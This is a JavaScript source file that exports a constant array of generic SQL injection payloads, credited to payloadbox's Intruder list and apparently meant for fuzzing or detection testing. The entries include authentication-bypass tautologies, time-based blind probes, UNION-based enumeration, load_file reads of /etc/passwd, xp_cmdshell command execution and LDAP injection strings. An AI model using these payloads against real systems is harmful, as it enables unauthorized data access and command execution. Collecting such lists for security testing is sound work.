// Taken from https://raw.githubusercontent.com/payloadbox/sql-injection-payload-list/master/Intruder/detect/Generic_SQLI.txt
export const SQLI = [
  String.raw`    )%20or%20('x'='x`,
  String.raw`%20or%201=1`,
  String.raw`; execute immediate 'sel' || 'ect us' || 'er'`,
  String.raw`benchmark(10000000,MD5(1))#`,
  String.raw`update`,
  String.raw`";waitfor delay '0:0:__TIME__'--`,
  String.raw`1) or pg_sleep(__TIME__)--`,
  String.raw`||(elt(-3+5,bin(15),ord(10),hex(char(45))))`,
  String.raw`hi"""") or (""""a""""=""""a"""`,
  String.raw`delete`,
  String.raw`like`,
  String.raw`" or sleep(__TIME__)#`,
  String.raw`pg_sleep(__TIME__)--`,
  String.raw`*(|(objectclass=*))`,
  String.raw`declare @q nvarchar (200) 0x730065006c00650063 ...`,
  String.raw` or 0=0 #`,
  String.raw`insert`,
  String.raw`1) or sleep(__TIME__)#`,
  String.raw`) or ('a'='a`,
  String.raw`; exec xp_regread`,
  String.raw`*|`,
  String.raw`@var select @var as var into temp end --`,
  String.raw`1)) or benchmark(10000000,MD5(1))#`,
  String.raw`asc`,
  String.raw`(||6)`,
  String.raw`a"""" or 3=3--"""`,
  String.raw`" or benchmark(10000000,MD5(1))#`,
  String.raw`# from wapiti`,
  String.raw` or 0=0 --`,
  String.raw`1 waitfor delay '0:0:10'--`,
  String.raw` or 'a'='a`,
  String.raw`hi or 1=1 --"`,
  String.raw`or a = a`,
  String.raw` UNION ALL SELECT`,
  String.raw`) or sleep(__TIME__)='`,
  String.raw`)) or benchmark(10000000,MD5(1))#`,
  String.raw`hi' or 'a'='a`,
  String.raw`0`,
  String.raw`21%`,
  String.raw`limit`,
  String.raw` or 1=1`,
  String.raw` or 2 > 1`,
  String.raw`")) or benchmark(10000000,MD5(1))#`,
  String.raw`PRINT`,
  String.raw`hi') or ('a'='a`,
  String.raw` or 3=3`,
  String.raw`));waitfor delay '0:0:__TIME__'--`,
  String.raw`a' waitfor delay '0:0:10'--`,
  String.raw`1;(load_file(char(47,101,116,99,47,112,97,115, ...`,
  String.raw`or%201=1`,
  String.raw`1 or sleep(__TIME__)#`,
  String.raw`or 1=1`,
  String.raw` and 1 in (select var from temp)--`,
  String.raw` or '7659'='7659`,
  String.raw` or 'text' = n'text'`,
  String.raw` --`,
  String.raw` or 1=1 or ''='`,
  String.raw`declare @s varchar (200) select @s = 0x73656c6 ...`,
  String.raw`exec xp`,
  String.raw`; exec master..xp_cmdshell 'ping 172.10.1.255'--`,
  String.raw`3.10E+17`,
  String.raw` or pg_sleep(__TIME__)--"`,
  String.raw`x' AND email IS NULL; --`,
  String.raw`&`,
  String.raw`admin' or '`,
  String.raw` or 'unusual' = 'unusual'`,
  String.raw`//`,
  String.raw`truncate`,
  String.raw`1) or benchmark(10000000,MD5(1))#`,
  String.raw`\x27UNION SELECT`,
  String.raw`declare @s varchar(200) select @s = 0x77616974 ...`,
  String.raw`tz_offset`,
  String.raw`sqlvuln`,
  String.raw`"));waitfor delay '0:0:__TIME__'--`,
  String.raw`||6`,
  String.raw`or%201=1 --`,
  String.raw`%2A%28%7C%28objectclass%3D%2A%29%29`,
  String.raw`or a=a`,
  String.raw`) union select * from information_schema.tables;`,
  String.raw`PRINT @@variable`,
  String.raw`or isNULL(1/0) /*`,
  String.raw`26 %`,
  String.raw` or ""a""=""a"`,
  String.raw`(sqlvuln)`,
  String.raw`x' AND members.email IS NULL; --`,
  String.raw` or 1=1--`,
  String.raw` and 1=( if((load_file(char(110,46,101,120,11 ...`,
  String.raw`0x770061006900740066006F0072002000640065006C00 ...`,
  String.raw`%20'sleep%2050'`,
  String.raw`as`,
  String.raw`1)) or pg_sleep(__TIME__)--`,
  String.raw`/**/or/**/1/**/=/**/1`,
  String.raw` union all select @@version--`,
  String.raw`,@variable`,
  String.raw`(sqlattempt2)`,
  String.raw` or (EXISTS)`,
  String.raw`t'exec master..xp_cmdshell 'nslookup www.googl ...`,
  String.raw`%20$(sleep%2050)`,
  String.raw`1 or benchmark(10000000,MD5(1))#`,
  String.raw`%20or%20''='`,
  String.raw`||UTL_HTTP.REQUEST`,
  String.raw` or pg_sleep(__TIME__)--`,
  String.raw`hi' or 'x'='x';`,
  String.raw`) or sleep(__TIME__)=`,
  String.raw` or 'whatever' in ('whatever')`,
  String.raw`; begin declare @var varchar(8000) set @var=' ...`,
  String.raw` union select 1,load_file('/etc/passwd'),1,1,1;`,
  String.raw`0x77616974666F722064656C61792027303A303A313027 ...`,
  String.raw`exec(@s)`,
  String.raw`) or pg_sleep(__TIME__)--`,
  String.raw` union select`,
  String.raw` or sleep(__TIME__)#`,
  String.raw` select * from information_schema.tables--`,
  String.raw`a' or 1=1--`,
  String.raw`a' or 'a' = 'a`,
  String.raw`declare @s varchar(22) select @s =`,
  String.raw` or 2 between 1 and 3`,
  String.raw` or a=a--`,
  String.raw` or '1'='1`,
  String.raw`|`,
  String.raw` or sleep(__TIME__)='`,
  String.raw` or 1 --'`,
  String.raw`or 0=0 #"`,
  String.raw`having`,
  String.raw`a'`,
  String.raw`" or isNULL(1/0) /*`,
  String.raw`declare @s varchar (8000) select @s = 0x73656c ...`,
  String.raw`â or 1=1 --`,
  String.raw`char%4039%41%2b%40SELECT`,
  String.raw`order by`,
  String.raw`bfilename`,
  String.raw` having 1=1--`,
  String.raw`) or benchmark(10000000,MD5(1))#`,
  String.raw` or username like char(37);`,
  String.raw`;waitfor delay '0:0:__TIME__'--`,
  String.raw` or 1=1--"`,
  String.raw`x' AND userid IS NULL; --`,
  String.raw`*/*`,
  String.raw` or 'text' > 't'`,
  String.raw` (select top 1`,
  String.raw` or benchmark(10000000,MD5(1))#`,
  String.raw`");waitfor delay '0:0:__TIME__'--`,
  String.raw`a' or 3=3--`,
  String.raw` -- &password=`,
  String.raw` group by userid having 1=1--`,
  String.raw` or ''='`,
  String.raw`; exec master..xp_cmdshell`,
  String.raw`%20or%20x=x`,
  String.raw`select`,
  String.raw`)) or sleep(__TIME__)="""`,
  String.raw`0x730065006c0065006300740020004000400076006500 ...`,
  String.raw`hi' or 1=1 --`,
  String.raw`") or pg_sleep(__TIME__)--`,
  String.raw`%20or%20'x'='x`,
  String.raw` or 'something' = 'some'+'thing'`,
  String.raw`exec sp`,
  String.raw`29 %`,
  String.raw`(`,
  String.raw`Ã½ or 1=1 --`,
  String.raw`1 or pg_sleep(__TIME__)--`,
  String.raw`0 or 1=1`,
  String.raw`) or (a=a`,
  String.raw`uni/**/on sel/**/ect`,
  String.raw`replace`,
  String.raw`%27%20or%201=1`,
  String.raw`)) or pg_sleep(__TIME__)--`,
  String.raw`%7C`,
  String.raw`x' AND 1=(SELECT COUNT(*) FROM tabname); --`,
  String.raw`&apos;%20OR`,
  String.raw`; or '1'='1'`,
  String.raw`declare @q nvarchar (200) select @q = 0x770061 ...`,
  String.raw`1 or 1=1`,
  String.raw`; exec ('sel' + 'ect us' + 'er')`,
  String.raw`23 OR 1=1`,
  String.raw`/`,
  String.raw`anything' OR 'x'='x`,
  String.raw`declare @q nvarchar (4000) select @q =`,
  String.raw`or 0=0 --`,
  String.raw`desc`,
  String.raw`||'6`,
  String.raw`)`,
  String.raw`1)) or sleep(__TIME__)#`,
  String.raw`or 0=0 #`,
  String.raw` select name from syscolumns where id = (sele ...`,
  String.raw`hi or a=a`,
  String.raw`*(|(mail=*))`,
  String.raw`password:*/=1--`,
  String.raw`distinct`,
  String.raw`);waitfor delay '0:0:__TIME__'--`,
  String.raw`to_timestamp_tz`,
  String.raw`) or benchmark(10000000,MD5(1))#"`,
  String.raw`%2A%28%7C%28mail%3D%2A%29%29`,
  String.raw`#NAME?`,
  String.raw` or 1=1 /*`,
  String.raw`)) or sleep(__TIME__)='`,
  String.raw`or 1=1 or ""=`,
  String.raw` or 1 in (select @@version)--`,
  String.raw`sqlvuln;`,
  String.raw` union select * from users where login = char ...`,
  String.raw`x' or 1=1 or 'x'='y`,
  String.raw`28%`,
  String.raw`â or 3=3 --`,
  String.raw`@variable`,
  String.raw` or '1'='1'--`,
  String.raw`a" or 1=1--`,
  String.raw`//*`,
  String.raw`%2A%7C`,
  String.raw`" or 0=0 --`,
  String.raw`)) or pg_sleep(__TIME__)--"`,
  String.raw`?`,
  String.raw` or 1/*`,
  String.raw`!`,
  String.raw`'`,
  String.raw` or a = a`,
  String.raw`declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)`,
  String.raw`declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) `,
  String.raw`declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)`,
  String.raw`declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)`,
  String.raw`' or 1=1`,
  String.raw` or 1=1 --`,
  String.raw`x' OR full_name LIKE '%Bob%`,
  String.raw`'; exec master..xp_cmdshell 'ping 172.10.1.255'--`,
  String.raw`'%20or%20''='`,
  String.raw`'%20or%20'x'='x`,
  String.raw`')%20or%20('x'='x`,
  String.raw`' or 0=0 --`,
  String.raw`' or 0=0 #`,
  String.raw` or 0=0 #"`,
  String.raw`' or 1=1--`,
  String.raw`' or '1'='1'--`,
  String.raw`' or 1 --'`,
  String.raw`or 1=1--`,
  String.raw`' or 1=1 or ''='`,
  String.raw` or 1=1 or ""=`,
  String.raw`' or a=a--`,
  String.raw` or a=a`,
  String.raw`') or ('a'='a`,
  String.raw`'hi' or 'x'='x';`,
  String.raw`or`,
  String.raw`procedure`,
  String.raw`handler`,
  String.raw`' or username like '%`,
  String.raw`' or uname like '%`,
  String.raw`' or userid like '%`,
  String.raw`' or uid like '%`,
  String.raw`' or user like '%`,
  String.raw`'; exec master..xp_cmdshell`,
  String.raw`'; exec xp_regread`,
  String.raw`t'exec master..xp_cmdshell 'nslookup www.google.com'--`,
  String.raw`' UNION SELECT`,
  String.raw`' UNION ALL SELECT`,
  String.raw`' or (EXISTS)`,
  String.raw`' (select top 1`,
  String.raw`'||UTL_HTTP.REQUEST`,
  String.raw`1;SELECT%20*`,
  String.raw`<>"'%;)(&+`,
  String.raw`'%20or%201=1`,
  String.raw`'sqlattempt1`,
  String.raw`29%`,
  String.raw`26%`,
  String.raw`' or ''='`,
  String.raw`' or 3=3`,
  String.raw`' or 3=3 --`,
]
